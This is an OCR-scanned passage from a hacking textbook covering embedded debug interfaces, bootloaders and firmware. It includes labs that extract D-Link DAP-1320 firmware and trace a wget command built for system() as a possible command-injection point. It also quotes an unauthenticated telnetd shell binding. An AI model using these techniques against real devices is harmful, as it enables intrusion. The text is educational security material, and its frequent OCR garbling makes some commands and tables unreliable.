Load Boot Loader code then write to Flash via Serial. 
9: Load Boot Loader code then write to Flash via TFTP. 
default: 3 
e [tis running Linux version 3.10. 14-UBNT: 


Linux version 3.10.14-UBNT (root@edgeos-builder2) (gcc version 4.6.3 
(Buildroot 2012.11.1) ) #1 SMP Mon Nov 2 16:45:25 PST 2015 


* MTD partitions aid 1n understanding the storage layout: 


- G4 Q2 BO 
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Creating 7 MTD partitions on "MT7621-NAND": 
0xooooo00000000-0x00000ff80000 : "ALL" 
0xoo0000000000-0x000000080000 : "Bootloader" 
Ox000000080000-0x0000000e0000 : "Config" 
Ox0000000e0000-0x000000140000 : "eeprom" 


0x000000140000-0x000000440000 : "Kernel" 
0x000000440000-0x000000740000 : "Kernel2" 
0x000000740000-0x00000ff00000 : "RootFS" 


[mtk_nand] probe successfully! 


Once the layout 1s determined, you can use a tool such as Bus Pirate to connect to the 
pads and communicate with the embedded system. The main thing to remember 1s to 
connect the TX on the device to the RX of your Bus Pirate and to connect the RX on the 
device to the TX of your Bus Pirate. 

As with the JTAG interface, some may discount the severity of having enabled serial 
ports on a device. However, with console access, an attacker can extract the 
configuration and binaries, install tools, and look for global secrets that facilitate 
remote attacks against all devices of this type. 


SPI 


Serial Peripheral Interface (SPI) 1s a full-duplex synchronous serial interface that 1s 
popular in embedded systems. Unlike UART, SPI was designed to allow 
communications between two or more devices. SPI 1s a short-distance protocol that 1s 
used for communications between ICs within an embedded system. The protocol uses a 


master/slave architecture and supports multiple slaves.^ In its simplest form, SPI 
requires four pins to communicate, which puts 1t on par with the UART example but 
with faster communications (at the cost of distance). It 1s 1mportant to note that SPI 1s 
not standardized,” and the datasheets will need to be consulted to determine the exact 
behavior of each device. The four pins are as follows: 


* SCK Serial Clock 

* MOSI Master Out Slave In 

* MISO Master In Slave Out 

e SSorCS Slave/Chip Select (output from master to address slave; active low) 


For systems with a few slave devices, the master typically addresses each slave 
device using a dedicated chip select. Due to the additional chip selects, this requires 
more pins/traces and increases the cost of the system. For example, a system with three 
slave devices in this configuration requires six pins on the microcontroller (see Figure 
23-3). 


SPI 
Master 





Figure 23-3 SPI ina three-chip configuration with individual chip selects 





Another common configuration for multiple-slave devices is the daisy chain. The 
daisy chain configuration, shown in Figure 23-4, 1s typically used when the master does 
not need to receive data for applications such as LEDs or when there are many slave 
devices. Because the output of chip 1 1s connected to the input of chip 2, and so on, 
there 1s a delay proportionate to the number of chips between the master and the 
intended recipient. 


SPI 3€ b MOSI Slave 1 
Master hk MISO 


scg SPI 
MOS! Slave 3 








Figure 23-4 SPI ina three-chip configuration using a daisy chain 
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A common use of the SPI protocol 1s to access EEPROM (electrically erasable 
programmable read-only memory) and flash devices. By using Bus Pirate and flashrom 
(or something similar), you should be able to extract the contents of an EEPROM or 
flash device. The contents can then be analyzed to locate the file system and hunt for 
secrets. 


PC 

Inter-Integrated-Circuit, pronounced I-squared-C and written as PC,’ is a multimaster, 
multislave, packetized serial communications protocol. It is slower than SPI but only 
uses two pins instead of three, plus chip selects for each slave. Like SPI, C is used for 
short distances between ICs on the board, but it can be used in cabling. Unlike SPI, IC 
is an official specification. 

Although multiple masters are supported, they cannot communicate with each other 
and cannot use the bus at the same time. To communicate with a specific device, the 
master uses an address packet, followed by one or more data packets. The two pins are 
as follows: 


e SCL Serial Clock 
e SDA Serial Data 


From Figure 23-5, you can see that the SDA pin 1s bidirectional and shared for all 
devices. Additionally, the SCL pin 1s driven by the master that has acquired the data 
bus. 


‘SPI "L| C 
Master 1 SD: Slave 1 


PC 
Slave 2 


I2C 
Slave 3 











Figure 23-5 A two-master, three-slave sample configuration 





Like SPI, PC is commonly used to communicate with EEPROM or NVRAM 
(nonvolatile random access memory). By using something like the Bus Pirate, you can 


dump the contents for offline analysis or write new values. 


Debug Interfaces 


Whereas debugging an application on a computer running Windows or Linux is 
relatively easy, by simply attaching to a process with a software debugger, embedded 
systems have many obstacles that make such a process a bit trickier. For example, how 
do you debug the embedded system when there 1s no operating system or the operating 
system 1s not booted? Modern embedded systems also have many complicated ICs on 
potentially densely populated boards with little to no access to the pins on the chips. 
Fortunately for the developers and testers, the hardware manufacturing industry 
developed methods for accessing IC internals for testing, debugging, and writing 
firmware to nonvolatile storage, and many other uses. 


JIAG 


The Joint Test Action Group (JTAG) was created in the 1980s as a method to facilitate 
debugging and testing ICs. In 1990, the method was standardized as IEEE 1149.1, but 1t 
is commonly referred to as simply JTAG.? Although it was initially created to help with 
board-level testing, the capabilities allow debugging at the hardware level. 

Although this 1s an oversimplification, JTAG defines a mechanism of utilizing a few 
externally accessible signals to access IC internals via a standardized state-machine. 
The mechanism is standardized, but the actual functionality behind it 1s IC specific. This 
means that you must know the IC being debugged to use JTAG effectively. For example, 
a bit sequence to an ARM processor and an MIPS processor will be interpreted 
differently by the internal logic of the processor. Tools such as OpenOCD require 
device-specific config files to operate properly. Although manufacturers may define 
more pins, the four/five JTAG pin description 1s provided in Table 23-2. The collection 
of pins 1s also known as the test access port ( TAP). 
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PIN 


Description 


TCK (Test Clock) 


TMS (Test Mode Select) 


TDI (Test Data In) 


TDO (Test Data Out) 


TRST (Test Reset) 


The Test Clock pin is used to clock data into the TDI and TMS inputs 
of the target. The clock provides a means for the debugger and 
device to be synchronized. 


The Test Mode Select pin is used to set the state of the Test Access 
Port (TAP) controller on the target. 

The Test Data In pin provides serial data to the target during 
debugging. 

The Test Data Out pin receives serial data from the target during 
debugging. 


(Optional) The Test Reset pin can be used to reset the TAP controller 
of the processor to allow debugging to take place. 


Table 23-2 Four/Five Pin JTAG Interface Description 


Although you might think that five pins would have a standard layout, board and IC 
manufacturers define their own layouts. Some common pinouts are defined 1n Table 23- 
3 and include 10-, 14-, and 20-pin configurations. The pinouts 1n the table are only a 
sampling and need to be verified before they are used with a debugger. 


Pin 


C wu ow A uU d w N = 


20 


Table 23-3 Typical JTAG Pinouts?:10 


14-Pin ARM 


VRef 
GND 
nTRST 
GND 
TDI 
GND 
TMS 
GND 
TCK 
GND 
TDO 
nSRST 
VREF 
GND 


20-Pin ARM 


VRef 


VSupply 
nTRST 


GND 
TDI 
GND 
TMS 
GND 
TCK 
GND 
RTCK 
GND 
TDO 
GND 


nSRST 


GND 


DBGRO 


GND 


DBGAK 


GND 


TI MSP430 
TDO 

VREF 

TDI 

TMS 

TCLK 

TCK 

VPP 

GND 


nSRST 


MIPS EJTAG 
nTRST 
GND 
TDI 
GND 
TDO 
GND 
TMS 
GND 
TCK 
GND 
nSRST 
DINT 
VREF 


For the developer and tester, the following capabilities are commonly used: 


* Halting the processor while debugging 


* Reading and writing the internal program store (when code is stored inside the 


microcontroller) 


* Reading and writing flash (firmware modification or extraction) 


* Reading and writing memory 


* Modifying the program flow to bypass functionality to gain restricted access 


As you can see, the functionality available to the JTAG interface is quite powerful. 
Equipment manufacturers are 1n a quandary. To develop, test, and debug the embedded 
system throughout its life cycle, the JTAG port is indispensable; however, its existence 
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on the board provides researchers and attackers the ability to discover secrets, alter 
behavior, and find vulnerabilities. Manufacturers will typically attempt to make 1t more 
difficult to use the JTAG interface after production by severing the lines, not populating 
the pins, not labeling the pinout, or using chip capabilities to disable it. Although this 1s 
reasonably effective, a determined attacker has many means in their arsenal to 
circumvent the protections, including fixing broken traces, soldering pins on the board, 
or possibly even shipping an IC to a company that specializes 1n extracting data. 

Some may dismiss JTAG as a weakness since physical, possibly destructive, access 
is required to use it. The problem with dismissing the attack is that the attacker can learn 
a great deal about the system using JTAG. If a global secret such as a password, an 
intentional backdoor for support, a key, or a certificate 1s present on the system, 1t may 
be extracted and subsequently used to attack a remote system. 


SWD (Serial Wire Debug) 


Serial Wire Debug (SWD) is an ARM-specific protocol for debugging and 
programming. Unlike the more common five-pin JTAG, SWD uses two pins. SWD 
provides a clock (SWDCLK) and bidirectional data line (SWDIO) to deliver the debug 
functionality of JTAG. As can be seen in Table 23-4, SWD and JTAG can coexist,!! 
which 1s 1mportant to note. 


Pin 10-Pin ARM Cortex SWD and JTAG" 


1 VRef 
2 SWDIO / TMS 
3 GND 
4 SWDCLK / TCK 
3 GND 
6 SWO / TDO 
7 KEY 
8 TDI / NC 
9 GNDDetect 
10 nRESET 
11 
12 
13 
14 
15 
16 
17 
18 
19 
20 


Table 23-4 Typical JTAG/SWD Pinouts 


20-Pin ARM SWD and JTAG” 
VRef 
VSupply 
nTRST 

GND 

TDI / NC 
GND 

TMS / SWDIO 
GND 

TCK / SWDCLK 
GND 

RTCK 

GND 

TDO / SWO 
GND 

nSRST 

GND 

DBGRO 

GND 

DBGAK 

GND 


The capabilities for developers and testers are the same as those mentioned for JTAG. 
As with JTAG, the capabilities that help manufacturers also enable attackers to discover 


vulnerabilities. 


Software 


All the hardware we've discussed so far would be useless without something defining 
its functionality. In microcontroller/microprocessor-based systems, software defines the 
capabilities and breathes life into the system. A bootloader is used to initialize the 
processor and start the system software. The system software for these systems typically 


falls into one of these three scenarios: 


* No operating system For simple systems 
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e Real-time operating system For systems with rigid processing time 
requirements (for example, VxWorks and Nucleus) 


e General operating system For systems that typically don’t have hard time 
constraints and have many functional requirements (for example, Linux and 
Embedded Windows) 


Bootloader 


For higher-level software to run on a processor, the system must be initialized. The 
software that performs the 1nitial configuration of the processor and the required initial 
peripheral devices is called the bootloader. The process typically requires multiple 
stages to get the system ready to run the higher-level software. The oversimplified 
process is generally described as follows: 


1. The microprocessor/microcontroller loads a small program from a fixed location 
of an off-processor device based on the boot mode. 


2. The small program initializes RAM and structures required to load the remainder 
of the bootloader 1n RAM (U-Boot, for example). 


3. The bootloader initializes any devices necessary to start the main program or OS, 
loads the main program, and transfers execution to the newly loaded program. For 
Linux, the main program would be the kernel. 


If U-Boot is used, this bootloader may have been configured to allow alternative 
means of loading the main program. For example, U-Boot 1s capable of loading from an 
SD card, NAND or NOR flash, USB, a serial interface, or TFTP over the network if 
networking 1s initialized. In addition to loading the main program, it can be used to 
replace the main program in a persistent storage device. The Ubiquiti ER-X, from our 
earlier example of using the JTAGulator, uses U-Boot (see Figure 23-6). In addition to 
loading the kernel, it allows reading and writing memory and storage. 


Please choose the operation: 
1: Load system code to SDRAM via TFTP. 
: Load system code then write to Flash via TFTP. 
: Boot system code via Flash (default), 
* Entr boot command line interface. 


: Load Boot Loader code then write to Flash via TFTP. 


det 


ult: 3 


2 
3 
4 
7: Load Boot Loader code then write to Flash via Serial. 
g 
fa 


You choosed 4 


4: System 


Enter Boot Command Line Interface. 


U-Boot 1.1.3 (Nov 2 2815 - 16:39:31) 
MT7621 € help 


? 3 
bootm -— 
cp - 
erase - 
go - 
help - 
izccmd - 
loadb - 
md - 


alias for 'help' 

boot application image from memory 

memory copy 

erase SPI FLASH memory 

start application at address 'addr' 

print online help 

read/write data to eeprom via I2C Interface 
load binary file over serial line (kermit mode) 
memory display 


mdio  - Ralink PHY register R/W command !! 


nand en 
nm - 
printenv- 
reset -= 
saveenv = 
setenv - 
spl - 
tttpboot- 
ubntw 

version - 


MT7621 # || 


memory modify (auto-incrementing) 

nand command 

memory modify (constant address) 

print environment variables 

Perform RESET of the CPU 

save environment variables to persistent storage 
set environment variables 

spi command 

boot image via network using TFTP protocol 
= ubntw command 

print monitor version 





Figure 23-6 U-Boot from Ubiquiti ER-X 





No Operating System 


For many applications, the overhead of an OS and the simplicity of the system do not 
justify or allow for an OS. For example, a sensor that performs measurements and sends 
them to another device likely uses a low-power microcontroller such as a PIC and has 
very little need for an operating system. In this example, the PIC likely does not have 
enough resources (storage, RAM, and so on) to allow it to run an OS. 

In systems with no OS, the data storage will likely be very crude based on address 
offsets or using NVRAM. Additionally, they typically do not have a user interface, or 


Technet24 


the interface 1s extremely simple, such as LEDs and buttons. After the program has been 
acquired, either from extraction from storage or via downloading, the format can be 
entirely custom and not easily identifiable to frequently used file analysis tools. The 
best bet 1s to read the documentation for the microcontroller to understand how the 
device loads code and attempts to deconstruct 1t manually with a disassembler. 

You might be thinking that a system this simple would not be very interesting, but keep 
in mind that it might have connectivity to a more complex system with Internet 
connections. Don’t dismiss these devices as not having a valuable attack surface without 
first considering the total use case, including connected devices and its purpose. The 
limited instruction space might mean that the device doesn’t have the ability to 
adequately protect itself from malicious input, and the protocols are likely not 
encrypted. Additionally, connected systems might explicitly trust any data coming from 
these devices and therefore not take appropriate measures to ensure that the data is 
valid. 


Real-Time Operating System 

Systems that are more complex and have hard time-processing requirements will 
typically use a real-time operating system (RTOS) such as VxWorks. The advantages of 
the RTOS are that it provides the functionality of an OS, such as tasks, queues, 
networking stacks, file systems, interrupt handler, and device management, with the 
added capability of a deterministic scheduler. For example, autonomous or driver- 
assisted automotive systems likely use an RTOS to ensure that reactions to various 
sensors are happening within the safety tolerance of the system (rigid). 

For those used to systems running Linux, VxWorks is much different. Linux has a fairly 
standard file system with common programs such as telnet, busybox, ftp, and sh, and 
applications run as separate processes on the OS. With VxWorks, many of the systems 
run with effectively a single process, with multiple tasks and no standard file system or 
secondary applications. Whereas Linux has a lot of information regarding extraction of 
firmware and reverse engineering, there is very little information regarding VxWorks. 


Extracting the firmware with SPI or PC or using a downloaded file will provide you 
with strings and code that can be disassembled. But unlike with Linux, you will not 
generally get easily digestible data. Analyzing the strings for passwords, certificates, 
keys, and format strings can yield useful secrets to use against the live system. 
Additionally, using JTAG to set breakpoints and perform actions on the device 1s likely 
the most effective method of reversing the functionality. 


General Operating System 


The term general operating system 1s being used to describe non-RTOS operating 


systems. Linux 1s the most common example of a general operating system. Linux for 
embedded systems 1s not much different from Linux for a desktop system. The file 
systems and architecture are the same. The main differences between embedded and 
desktop versions are peripherals, storage, and memory constraints. 

To accommodate the generally smaller storage and memory, the OS and file system 
are minimized. For example, instead of using the common programs installed with 
Linux, such as bash, telnetd, ls, cp, and such, a smaller monolithic program called 
busybox is typically used. Busybox'* provides the functionality within a single 
executable by using the first argument as the desired program. Although I'd like to say 
that unused services are removed to reduce the attack surface, they are likely only 
removed to save space. 

Although most devices do not intentionally provide console access to the user, many 
do have a serial port for console access on the board. As soon as you have access to the 
root file system, either via the console or by extracting the image from storage, you will 
want to look for the versions of applications and libraries, world-writable directories, 
any persistent storage, and the initialization process. The initialization process for 
Linux, found in /etc/inittab and /etc/init.d/rcS, will give you an idea of how the 
applications are started on boot. 


Summary 


In this chapter, we briefly discussed the differences between different CPU packages 
(microcontroller, microprocessor, and SoC), several serial interfaces of interest, JTAG, 
and embedded software. In our discussion of serial interfaces, you were introduced to 
the JTAGulator in an example of discovering UART (serial) ports. JTAGulator can also 
be used to discover JTAG debug ports and potentially several other interfaces. We also 
briefly discussed different software use cases, including bootloaders, no OS, an RTOS, 
and a general OS. At this point, you should have a common vocabulary for embedded 
systems and a few areas of concern when attempting to gain a further understanding. 


For Further Reading 

ARM: 

https://developer.arm.conyproducts/architecture/a-profile 
https://www.arm.com/products/processors/cortex-a?tab=Resources 
https://developer.arm.com/products/architecture/r-profile 


https://www.arm.com/products/processors/cortex-r?tab=Resources 
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https://developer.arm.com/products/architecture/m-profile 
https://www.arm.com/products/processors/cortex-m?tab=Resources 
Bus Pirate http://dangerousprototypes.com/docs/Bus Pirate 
Embedded Linux Mhttps://www.elinux.org/Main Page 


Firmware extraction and reconstruction https://www.]- 
michel.org/blog/2013/09/16/firmware-extraction-and-reconstruction 


Firmware security information https://github.com/advanced-threat- 
research/firmware-security-training 


Free RTOS  https://www.freertos.org/ 
DC https://learn.sparkfun.convtutorials/12c 
JTAG: 
http://blog.senr.10/blog/jtag-explained 


https://developer.arm.com/docs/du10499/latest/arm-dstream-target-interface- 
connections/signal-descriptions/serial-wire-debug 


JTAGulator www.grandideastudio.com/jtagulator/ 
MT-7621A: 

https://ww w.mediatek.com/products/homeNetworking/mt762 1 n-a 
https://wikidevi.com/wiki/MediaTek MT7621 

OpenOCD  http://openocd.org/ 


Reverse-engineering VxWorks firmware www.devttysO.com/2011/07/reverse- 
engineering-vxworks-firmware-wrt54gv8/ 


SPI https://www.maximintegrated.com/en/app-notes/1ndex.mvp/1d/3947 


Understanding ARM HW debug 
options https://elinux.org/1mages/7/7f/Manderson5.pdf 


VxWorks  https://www.windriver.conyproducts/vxworks/ 
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Exploiting Embedded Devices 


This chapter covers the topic of exploiting embedded devices. This topic 1s becoming 
increasingly important with the emergence of the Internet of Things (IoT), as covered in 
previous chapters. From elevators to cars, toasters, and everything “smart,” embedded 
devices are becoming ubiquitous, and the security vulnerabilities and threats are 
becoming innumerable. As Bruce Schneier has observed, it 1s like the Wild West of the 
1990s all over again; everywhere we look, there are vulnerabilities 1n these embedded 
devices. Schneier explains that this is because of many factors, including the limited 
resources of the devices themselves and the limited resources of the manufacturers in 
the low-margin field of producing embedded devices.! Hopefully, more ethical hackers 
will rise to meet this challenge and make a dent in the tide of vulnerabilities of 
embedded devices. To that end, in this chapter, we discuss the following topics: 

e Static analysis of vulnerabilities in embedded devices 

* Dynamic analysis with hardware 

* Dynamic analysis with emulation 





Static Analysis of Vulnerabilities in Embedded Devices 


Static analysis of vulnerabilities involves looking for vulnerabilities by inspecting the 
update packages, file systems, and binaries of the system without having to power up the 
device being evaluated. In fact, 1n most cases, the attacker doesn't need to have the 
device to do most of the static analysis. In this section, you are exposed to some tools 
and techniques for conducting static analysis on an embedded device. 


Lab 24-1: Analyzing the Update Package 


In most cases, the update packages for the device can be downloaded from the vendor 
site. Currently, most updates are not encrypted and therefore can potentially be 
deconstructed with various tools such as unzip, binwalk, and Firmware Mod Kit. For 
instruction purposes, we will look at a Linux-based system since you are most likely 
familiar with these systems. 


In Linux-based embedded systems, the update packages often contain a new copy of 
all the essential files and directories required to operate the system. The required 
directories and files are referred to as the root file system (RFS). If an attacker can gain 
access to the RFS, they will have the initialization routines, web server source code, 
any binaries that are required to run the system, and possibly some binaries that provide 
the attacker with an advantage when attempting to exploit the system. For example, 1f a 
system uses Busybox and includes the telnetd server, an attacker might be able to 
leverage the Telnet server to provide remote access to the system. Specifically, the 
telnetd server included in Busybox provides an argument that allows it to be invoked 
without authentication and bind to any program (/usr/sbin/telnetd —! /bin/sh). 

As an example, we will investigate an older version of the D-Link DAP-1320 
wireless range extender’s firmware update (version 1.1 of the A hardware). This update 
was chosen because it 1s an older update that has been patched, and the vulnerability 
disclosure (ww w.kb.cert.org/vuls/1d/184100) was reported by several of the authors. 


"oe < im [:) support.diink.com/Productinfo.aspx?m=DAP-1320 È 4 Es, 





Home Support Forums Security Advisories Shop 








TechSupport 
Building Networks for People 
Consumer Business 





Wireless Range Extender 


Product Registration Warranty Document DAP-132U0 


CB 


or First Time Setting Up? B" Contact Support D-Link Ls] 





FAQs 


For access to the right downloads, please select the correct hardware revision for your device. 


A ¥ How to find the hardware version? 


Type Date 


Firmware (1.11) = 09/26/13 Release Notes 


The first step 1s to create the environment for deconstructing the firmware. In our case, 
we will use the Firmware Mod Kit. The base host system for our analysis 1s Kali Linux 
2017.1. In order to install the Firmware Mod Kit, the prerequisites must first be 
installed using the package manager apt-get @. Once the prerequisites are met, the 
install only requires cloning the project from GitHub e. The first time extract- 
firmware.sh is run, it compiles the necessary tools and results in a lot of output (the first 
run has been omitted in the example). We then attempt to extract the firmware e, and if 
the package and content types are known by the tool, they will be extracted for further 
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analysis. From the output, we can see that the tool has found both an MIPS Linux kernel 
image @ and a squashfs file system e, and they have been successfully extracted to the 
fmk directory @. By browsing the extraction, we identify 1t to be the rootfs @ and verify 
that the binaries are compiled for MIPS @. 


Oroot@kali:~/DAP-1320# apt-get install git build-essential zliblg-dev \ 

> liblzma-dev python-magic 

«truncated for brevity> 

After this operation, 111 MB of additional disk space will be used. 

Do you want to continue? [Y/n] y 

«truncated for brevity- 

OÓrootGekali:-/DAP-13208 git clone https://github.com/rampageX/firmware-mod-kit.git 
«truncated for brevity> 

rootGkali:-/DAP-13208 export PATH-$PATH:/root/DAP-1320/firmware-mod-kit 
Orootekali:-/DAP-13208 extract-firmware.sh DAP1320 fw 1 11b10.bin 

Firmware Mod Kit (extract) 0.99, (c)2011-2013 Craig Heffner, Jeremy Collake 
Scanning firmware... 

Scan Time: 2017-12-05 17:10:39 

Target File: /root/DAP-1320/DAP1320 fw 1 l1bl10.bin 

MD5 Checksum:  3d13558425d1147654e8801a99605ce6 


Signatures: 344 
DECIMAL HEXADECIMAL DESCRIPTION 
0 0x0 uImage header, header size: 64 bytes, header CRC: 


Ox71C7BA94, created: 2013-09-16 08:50:53, image size: 799894 bytes, Data Address: 
0x80002000, Entry Point: Ox801AB9FO, data CRC: OxA62B902, OOS: Linux, CPU: MIPS, 
image type: OS Kernel Image, compression type: lzma, image name: "Linux Kernel 


Image" 

64 0x40 LZMA compressed data, properties: 0x5D, dictionary 
size: 8388608 bytes, uncompressed size: 2303956 bytes 

851968 OxDOO00 @Squashfs Filesystem, little endian, version 4.0, 


compression:lzma, size: 2774325 bytes, 589 inodes, blocksize: 65536 bytes, 
created: 2013-09-16 08:51:15 


Extracting 851968 bytes of uimage header image at offset 0 
Extracting squashfs file system at offset 851968 
Extracting 544 byte footer from offset 5438942 

Extracting squashfs files... 

Firmware extraction successful! 

@Firmware parts can be found in '/root/DAP-1320/fmk/*' 
root@kali:~/DAP-1320# ls fmk 

image_parts logs rootfs 

@root@kali:~/DAP-1320# ls fmk/rootfs 

bin dev etc lib linuxrc proc sbin share sys tmp usr var www 
rootGkali:-/DAP-1320 # ls fmk/rootfs/bin 


ash cli ethreg ln mount ps touch 

busybox Cp fgrep login mv rm udhcpc 
busybox 161 date gpio event ls netbios checker sed umount 
cat dd grep md nvram sh uname 

cgi echo hostname mkdir ping sleep xmlwf 

chmod egrep kill mm ping ssi 


@root@kali:~/DAP-1320 # file fmk/rootfs/bin/busybox 

busybox: ELF 32-bit MSB executable, MIPS, MIPS32 rel2 version 1 (SYSV), 
dynamically linked, interpreter /lib/ld-uClibc.so.0, corrupted section header 
Size 


Now that the update package has been extracted, 1t 1s time to browse the files, looking 
for features, configurations, or unknown applications. Table 24-1 defines some items to 
look for while browsing. 


Purpose BASH Command Examples 

Locate executable files find . -type f -perm /u+x 

(note: non-Busybox files). 

Determine the directory find . -type d 

structure for future analysis. 

Find web servers or find . -type f -perm /u+x -name "*httpd*" -o -name "*cgi*" 
associated technologies. -0 -name "*nginx*" 

Find library versions. for i in find . -type d -name lib`;do find $i -type f;done 
Find HTML, JavaScript, CGI, find . -name "*.htm*" -o -name "*.js" -o -name "*,cgi" 
and config files. -0 -name "*,conf" 

Look for an executable strings sbin/lighttpd | grep lighttpd 


version (for example, 
with lighttpd) 


Table 24-1 Examples of Interrogating the File System 





NOTE Any executable or library found that has a version needs to be cross-checked 
against known vulnerabilities. For example, use a Google search of <name> <version 
number> vulnerability. 


Once you've collected all this information, you will want to understand what is 
processing requests from the browser or any services running. Because I've already 
done all the preceding steps, I reduced the following example 1n order to make the 
analysis more condensed and straightforward. The web server was found to be lighttpd 
@, which uses lighttpd*.conf e and modules.conf e for the configuration. Furthermore, it 
uses cgi.conf e, which points almost all handling to /bin/ssi e (a binary executable). 
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root@kali:~/DAP-1320/fmk/rootfs# find . -type f -perm /u+x -name "*httpd*" -o 
-name "*cgi*" -o -name "*nginx*" 

«truncated for brevity> 

O0 ./sbin/lighttpd 

./Sbin/lighttpd-angel 


./etc/conf. 


./bin/cgi 


d/cgi.conf 


root@kali:~/DAP-1320/fmk/rootfs# find . -name *.conf 
6 ./etc/lighttpd.conf 


./etc/conf. 
.d/cqgi.conf 
.d/auth base.conf 
.d/expire.conf 
.d/auth.conf 
.d/dirlisting.conf 
.d/graph auth.conf 
.d/access log.conf 


./etc/conf 
./etc/cont 
.fetc/conft 
./etc/conf 
./etc/conf 
./etc/conf 
,/etc/conf 


d/mime.conf 


./etc/modules.conf 


./etc/host. 


conf 


./etc/resolv.conf 

O./etc/lighttpd base.conf 

root@kali:~/DAP-1320/fmk/rootfs# cat etc/lighttpd base.conf 
BAGEEHÉEHEHEEÉEEHEERERHI DERE B EEUU HESS HESS HHRSHHHREHHRSS HESS HHHES SHH 
## /etc/lighttpd/lighttpd.conf 

## check /etc/lighttpd/conf.d/*.conf for the configuration of modules. 


E EEEE EEE EEEE EE E EE EE E EE E E E E E EE EE E EE E E E E E EE E E E E E EE EE E EEEE EEE EE EEE E EE E EEE 
«truncated» 

## Load the modules. 

include "modules.conf" 

«truncateds 

rootGkali:-/DAP-1320/fmk/rootfst cat etc/modules.conf 
BHdHHHHHHHESBHEHSHHUHSHHSHSHSHHHHHHEHHHHHHHHHHSHHHHSESHHHSHHHHHHEHSHTHSHSHHHHHESSHHSEHH 
## Modules to load 

«truncateds 

Oinclude "con£.d/cgi.conf" 

rootGekali:-/DAP-1320/fmk/rootfsi cat etc/conf.d/cgi.conf 
BHEBHHHEHSHHSHHEHSHSHHSHIHSHSHHSHSHHHSHHSHHHSHHHHTHTHHSHSHHHHSHHHHHHTHHHHTHHHSTHHHTHS 
## CGI modules 

BR o ---------- A 

## http://www.lighttpd.net/documentation/cgi.html 

## 

server.modules += ( "mod cgi" ) 


## Plain old CGI handling 
## For PHP don't forget to set cgi.fix pathinfo = 1 in the php.ini. 
## 


cgi.assign = { 
c " htm" => "/bin/ssi", 
"public.js" => "/bin/ssi", 
"xml" => "/bin/sei" 
"Save configure.cgi" => "/bin/sh", 
"hnap.cgi" => "/bin/sh", 
"Lr069.cgi" => "/bin/sh", 
"widget.cgi" => "/bin/sh", 
"cgi" => "/bin/ssi", 

"html" => "/bin/ssi", 
"txt" => "/bin/ssi" 


) 


At this point, we have an idea of how to proceed and will begin our vulnerability 
analysis. 


Lab 24-2: Performing Vulnerability Analysis 


At this point, vulnerability analysis is not much different from what has been taught in 
previous chapters. Command-injection, format-string, buffer-overflow, use-after-free, 
misconfiguration, and many more vulnerabilities can be searched for. In this case, we 
will use a technique to find command-injection-type vulnerabilities in executables. 
Since /bin/ssi is a binary, we will look for format strings that use %s (for string) and 
then redirect the output to /dev/null (meaning we don't care about the output). This 
pattern 1s interesting because 1t may indicate a sprintf function that’s creating a 
command, with a potentially user-controlled variable, to use with popen or system. For 
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example, a command to see if another host 1s alive might be created as follows: 
sprintf (cmd, "ping -q -c 1 $s > /dev/null",variable) 


If the variable is controlled by the attacker and not sanitized, and the cmd is used to 
execute in a shell, the attacker can inject their command into the intended command. In 
this case, we have two interesting strings that appear to download a file: 


root@kali:~/DAP-1320/fmk/rootfs# strings bin/ssi | grep "ts" | grep "/dev/null" 
wget -P /tmp/ $s » /dev/null 
wget $s -O %s »/dev/null & 


Armed with these two strings, we will begin to do some reversing of the binary to see 
if we have control over the variable, URL. IDA Pro will be our tool of choice for this 
exercise. 

The main objective of the IDA Pro analysis 1s to determine whether the string 1s used 
in a way that the attacker has a chance to alter 1t. After opening the ssi binary in IDA Pro 
and ensuring that the processor 1s set to MIPS, we then take the following steps: 


1. Search for the string of interest. 

2. Determine how the string 1s used. 

3. Determine where the URL comes from (if it is hardcoded, we are not interested in 
it). 


Press ALT-T to bring up the text search screen and then select Find All Occurrences for 
the string, as shown next. 


QI Text search (slow!) 


String | wget -P /tmp/ 95s 


Match case 

[ ] Regular expression 
[ ] Identifier 

| ] Search Up 


Find all occurrences 





We find only two occurrences of the string: one 1s the static format string and the other 
is a reference to the static string, as shown next. (Note that you can ignore the function 


name; it was not there during the initial analysis but rather was added by the author.) 


Function Instruction 
download fw and lp la $al, aWgetPTmpSDevNu # "wget -P /tmp/ %s > /... 


aWgetPTmpSDevNu:.ascii "wget -F /tmp/ 95s > /dev/null «0» 





By double-clicking on the highlighted result, we are taken to that instruction 1n the 
disassembly. Scrolling down, we see that the string 1s being used in a sprintf to 
construct a download command and that is being passed to system at 00409064, as 
shown next. 


LOAD:00409018 la $al, aWgetPTmpSDevNu # "wget -P /tmp/ %s > /dev/null" 
LOAD: 86409614 jalr $t9 ; sprintf 

LOAD: 00409018 move $a0, $s2 

LOAD:0040901C lw $gp, O0x2BO«var 2A0($sp) 
LOAD: 00409020 move $a0, $50 

LOAD:00409024 move $al, $zero 

LOAD: 00409028 la $t9, memset 

LOAD: 8640962C nop 

LOAD: 66469630 jalr $t9 ; memset 

LOAD: 060409034 li $a2, 0x88 

LOAD:00409038 lw $gp, Ox2BO«var 2A0($sp) 
LOAD: G040903C lw $a2, 8($5s3) 

LOAD: 00409040 lui fal, 0x43 

LOAD: 86409644 la $t9, sprintf 

LOAD: 00409048 la $al, aTmpS # "/tmp/Xs" 
LOAD:68040904C jalr $t9 ; sprintf 

LOAD: 00409050 move $a0, $s0 

LOAD:00409054 lw $gp, Ox2BO«var 2A0($sp) 
LOAD: 00409058 nop 

LOAD: 8846995C la $t9, system 

LOAD: 00409060 nop 

LOAD : 00409064 jalr $t9 ; system 


At this point, we at least know that the string 1s being used to make a call to system. 
From here, we need to understand how the URL in the format string is provided. This 
requires us to trace the control flow of the program to this point. 

To trace the control flow to the entry of this subroutine/function, we need to scroll to 
the top of the function and select the address on the left. Once the address 1s selected, 
we simply press X to jump to the cross-reference to it, as shown here. 
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LOAD:00408F30 download fw and lp: # DATA XREF: LOAD:0044676410 
LOAD: GO408F 30 —— 
LOAD: 00408F30 var 2A6 [x3 refs to download fw and lp 
LOAD:00408F30 var 

LOAD: GaG488F 30 
LOAD: 88468F 38 
LOAD: 86468F 36 
LOAD: BB4808F 30 
LOAD:OO04O08F30 | 
LOAD: 00408 F30 
LOAD: 00408 F30 
LOAD: 00408F30 
LOAD: 00408F30 lui $gp, 0x45 
LOAD: 50408 F34 addiu $sp, -0Ox2BO8 


























var 4 |Line 1 of 1 


The cross-reference to the download routine 1s actually a lookup table with function 
pointers to the entry points for each command. The code searches for the command and 
jumps to the routine pointer that 1s adjacent to 1t. You will see the commands for “IPv6 
Function," “Download FW and language to DUT,” and “get wan ip,” as shown next. 
Note that the commands are 1n the form of the short name, function pointer, and long 
